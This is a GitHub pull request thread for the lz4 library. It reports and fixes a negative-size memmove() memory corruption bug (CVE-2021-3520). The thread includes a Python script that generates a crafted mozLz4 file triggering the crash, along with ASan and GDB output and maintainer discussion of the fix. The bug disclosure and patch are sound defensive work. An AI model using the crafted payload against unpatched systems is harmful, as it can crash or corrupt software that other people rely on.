Fix potential memory corruption with negative memmove() size

[jasperla]

I noticed a crash with lz4jsoncat when using this script to craft a payload:

   #!/usr/bin/env python3

    import sys

    def main():
        if len(sys.argv) != 3:
            print(f'[-] No filename or size given for payload')
            sys.exit(1)

        fname = sys.argv[1]
        size = sys.argv[2]

        # Handle arguments such as 0xffffffff if not provided as 4294967295
        if size[:2] == '0x':
            size = int(sys.argv[2], base=16)
        else:
            size = int(sys.argv[2])

        try:
            with open(fname, 'wb') as fh:
                # Start by writing out the magic bytes
                fh.write(bytearray(b'mozLz40\x00'))

                # Add the decompressed size followed by a stub frame descriptor
                fh.write(bytearray((size).to_bytes(4, 'little')))
                fh.write(bytearray([0x00, 0x00]))

                # Sample payload
                fh.write(bytearray(b'A' * 15))

        except Exception as e:
            print(f'[-] could not write payload to {fname}: {e}')
            sys.exit(1)

    if __name__ == '__main__':
        main()

If the decompressed size is big enough, e.g. 0xff000000-0xffffffff it will lead to a crash in liblz4:

% python3 lz4_payload.py /tmp/crash.lz4 0xffffffff
% file /tmp/crash.lz4
/tmp/crash.lz4: Mozilla lz4 compressed data, originally 4294967295 bytes
% LD_LIBRARY_PATH=/home/kali/lz4/lib ./lz4jsoncat.asan /tmp/crash.lz4
=================================================================
==3482258==ERROR: AddressSanitizer: negative-size-param: (size=-1)
    #0 0x43576e in memmove (/home/kali/lz4json/lz4jsoncat.asan+0x43576e)
    #1 0x7f5853e40ba4 in LZ4_decompress_generic /home/kali/lz4/lib/lz4.c:2038:17
    #2 0x7f5853e40ba4 in LZ4_decompress_safe_partial /home/kali/lz4/lib/lz4.c:2182:12
    #3 0x4c92e3 in main /home/kali/lz4json/lz4jsoncat.c:72:7
    #4 0x7f5853a77d09 in __libc_start_main csu/../csu/libc-start.c:308:16
    #5 0x41f399 in _start (/home/kali/lz4json/lz4jsoncat.asan+0x41f399)

Address 0x7f5850ed800d is a wild pointer.
SUMMARY: AddressSanitizer: negative-size-param (/home/kali/lz4json/lz4jsoncat.asan+0x43576e) in memmove
==3482258==ABORTING

The crash is due mishandling of the provided size of the decompressed contents in LZ4_decompress_generic().
With a size set in the payload as 0xffffffff, dstSize became -1 and eventually gets passed to memmove():

lz4/lib/lz4.c

Line 2038 in 909aae8

memmove(op, ip, length); /* supports overlapping memory regions; only matters for in-place decompression scenarios */

The original crash as observed from GDB:

    Stopped reason: SIGSEGV
    __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:500
    500     ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
    gdb-peda$ bt
    #0  __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:500
    #1  0x00007ffff7f62ba5 in LZ4_decompress_generic (src=0x7ffff7ffb00c "", dst=0x7ffef7d02010 "", srcSize=0x11, outputSize=0xffffffff, endOnInput=endOnInputSize, partialDecoding=partial_decode, dict=noDict, lowPrefix=0x7ffef7d02010 "", dictStart=0x0, dictSize=0x0) at lz4.c:2039
    #2  LZ4_decompress_safe_partial (src=0x7ffff7ffb00c "", dst=0x7ffef7d02010 "", compressedSize=0x11, targetOutputSize=0xffffffff, dstCapacity=0xffffffff) at lz4.c:2183
    #3  0x00005555555551e1 in main (ac=ac@entry=0x2, av=0x7fffffffe7f0, av@entry=0x7fffffffe7e8) at lz4jsoncat.c:72
    #4  0x00007ffff7d2cd0a in __libc_start_main (main=0x555555555120 <main>, argc=0x2, argv=0x7fffffffe7e8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe7d8) at ../csu/libc-start.c:308
    #5  0x000055555555536a in _start ()
    gdb-peda$

When liblz4 is built with -DLZ4_DEBUG=N where N > 0, an assert is triggered instead:

lz4/lib/lz4.c

Line 2020 in 909aae8

assert(op<=oend);

and if the system allows for core dumps a file up to 4GB is generated which might lead to other problems.
The result is an abort of the application without making it to memmove(). The default configuration is with LZ4_DEBUG undefined (i.e. the assert is not hit).

The crasher was originally produced by AFL on Kali Linux and libz4+lz4jsoncat from git. This PR provides a simple check upfront to ensure no obviously invalid sizes are handled.

[jasperla]

@Cyan4973 or @terrelln , could someone please have a look at this issue? Thanks!

[terrelln]

@jasperla this looks fine for me, but we'll have to wait for @Cyan4973 to approve, since I don't have push permissions.

It would be great to add a test case with the crafted input, that way we don't have to :)

• You could add a unit test of LZ4_decompress_safe() with a negative output size here.
• You could add the crafted input and test LZ4F_decompress() on it here.

[carnil]

According to https://bugzilla.redhat.com/show_bug.cgi?id=1954559 this issue has CVE-2021-3520 assigned.

[Cyan4973]

Thanks @jasperla ,
yes this is a good check, well positioned.

[ddillard]

Any idea when a new version with this fix will be released?

[Cyan4973]

If the decompressed size is big enough, e.g. 0xff000000-0xffffffff it will lead to a crash in liblz4:

Worth mentioning here, since this PR is referenced elsewhere :

These sizes are incompatible with the reference lz4 implementation,
which publishes a "maximum block size" as an absolute limit for a single block (of uncompressed data) :
https://github.com/lz4/lz4/blob/v1.9.4/lib/lz4.h#L211

Consequently, the lz4 library cannot be expected to decompress blocks larger than this limit.
And incidentally, it's unable to generate such large blocks in the first place.
Requesting it to do so nonetheless is simply a violation of its contract, and therefore is UB territory.

Obviously, in this case, the problem is aggravated because the size is converted into an int type without verifying if the casting into int is meaningful (aka original value is <= INT_MAX). It's worth underlining that this conversion is done on user side (aka, if I do understand this case properly, it's lz4jsoncat). After that point, it becomes an incorrect input parameter to the decompression function, which is a user-side bug.

How to behave in presence of such a user-side bug can be discussed, and in this PR, it's suggested to extend the interface contract of the decompression function, so that it returns an error code when it detects a negative size (i.e. it now has a defined behavior for this scenario). However, this won't help if the outputSize parameter is incorrect (oversized) but still positive.